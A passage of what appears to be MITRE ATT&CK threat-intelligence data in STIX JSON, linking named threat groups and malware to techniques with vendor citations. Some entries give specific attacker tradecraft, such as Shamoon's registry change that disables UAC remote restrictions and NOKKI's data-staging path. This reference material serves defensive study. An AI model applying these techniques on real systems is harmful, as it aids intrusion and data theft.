            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.914Z",
            "created": "2019-01-30T18:02:59.272Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can download a payload for execution.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--f315cbb6-e49c-4820-99cb-262d36acf17f",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.987Z",
            "created": "2019-01-30T18:58:03.992Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect data from the victim and stage it in <code>LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp</code>.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--c7c855ed-9550-4611-84bd-d4d7c86cef3c",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:21:21.517Z",
            "created": "2019-01-30T19:50:46.664Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "source_name": "Unit 42 Nokki Oct 2018"
                }
            ],
            "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses HTTP for C2.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--8ee8bf1b-acbc-4138-a7dc-667b251fd826",
            "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:19:37.052Z",
            "created": "2019-01-31T00:23:06.364Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--63994c7c-6544-4e29-9c94-ac2237166774",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.709Z",
            "created": "2019-01-31T01:07:58.546Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "source_name": "Impacket Tools"
                }
            ],
            "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.(Citation: Impacket Tools)",
            "id": "relationship--5d4113cb-f652-4214-9585-388422528960",
            "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
            "type": "relationship",
            "modified": "2019-04-18T21:49:12.782Z",
            "created": "2019-01-31T01:39:56.555Z"
        },
        {
            "id": "relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Once [Shamoon](https://attack.mitre.org/software/S0140) has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> to 1.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "source_name": "FireEye Shamoon Nov 2016"
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "McAfee Shamoon December 2018",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/",
                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-05-29T18:11:24.821Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c4cbbe25-bc29-406d-b92e-6e50ee4cd322",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can download and execute an arbitary executable.(Citation: FireEye APT37 Feb 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add"
        },
        {
            "id": "relationship--55df3b40-b130-4313-9064-6b0fc56564d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key to establish persistence.(Citation: Microsoft Win Defender Truvasys Sep 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
                }
            ],
            "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-18T16:10:03.095Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--290c4e3b-00be-411f-b0c8-919e85e08a49",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a module that captures screenshots of the victim's desktop.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.660Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b9109cd5-1b13-4376-a761-b68302879351",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use base64 encoded C2 communications.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:28:20.855Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about Windows OS version, computer name, battery info, and physical memory.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.674Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--61528841-379e-4fa3-a233-34c745764c18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "type": "relationship",
            "modified": "2021-04-24T13:23:48.938Z",
            "created": "2017-05-31T21:33:27.021Z"
        },
        {
            "id": "relationship--0c533013-a72e-4aef-bd19-8ea9ea415189",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has obfuscated strings in [Bandook](https://attack.mitre.org/software/S0234) by base64 encoding, and then encrypting them.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.943Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                },
                {
                    "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
                    "source_name": "Unit42 Emissary Panda May 2019"
                }
            ],
            "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Unit42 Emissary Panda May 2019)",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.889Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
        {
            "id": "relationship--ed561ab1-db94-4dbe-873b-d3e6cb488c4d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather information about TCP connection state.(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.070Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\u2019 machines.(Citation: FireEye APT17)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                }
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "type": "relationship",
            "modified": "2020-03-17T19:06:43.785Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--28a113cd-efdc-49cf-b6d2-c967e11de751",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Brave Prince](https://attack.mitre.org/software/S0252) variants have used South  Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.619Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInfoOSX function to return the OS X version as well as the current user.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.338Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bff3220c-6fea-4925-a9d0-46f06efb7337",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) can download additional payloads onto the victim.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.796Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a358f0a9-b5b9-4a84-8c83-dc0a1325d63e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.(Citation: FireEye APT28)(Citation: FireEye APT28 Hospitality Aug 2017)(Citation: MS17-010 March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                },
                {
                    "source_name": "FireEye APT28 Hospitality Aug 2017",
                    "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010",
                    "description": "Microsoft. (2017, March 14). Microsoft Security Bulletin MS17-010 - Critical. Retrieved August 17, 2017.",
                    "source_name": "MS17-010 March 2017"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.216Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7ee9b1ad-7f7b-4ae7-8cf4-8ab97b6a74b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) encrypts data using Base64 before being sent to the command and control server.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.587Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--95ed1db5-c388-4b1b-9824-9703b248f798",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) injects into the Internet Explorer process.(Citation: Talos Smoke Loader July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.675Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9edfa8b5-2e9f-4022-93b2-fd819156fe95",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files.(Citation: Microsoft BITSAdmin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft BITSAdmin",
                    "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
                    "url": "https://msdn.microsoft.com/library/aa362813.aspx"
                }
            ],
            "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-10-07T18:49:09.864Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b3877b02-98e4-4c4a-8034-5af9f1e65c2c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) uses rundll32.exe in a Registry value added to establish persistence.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-18T00:52:19.003Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5950182b-4e27-4d5e-87bb-c8598314622c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) downloads an executable and injects it directly into a new process.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "type": "relationship",
            "modified": "2020-03-16T15:31:24.393Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[schtasks](https://attack.mitre.org/software/S0111) is used to schedule tasks on a Windows system to run at a specific date and time.(Citation: TechNet Schtasks)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Schtasks",
                    "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx"
                }
            ],
            "source_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:42:39.261Z",
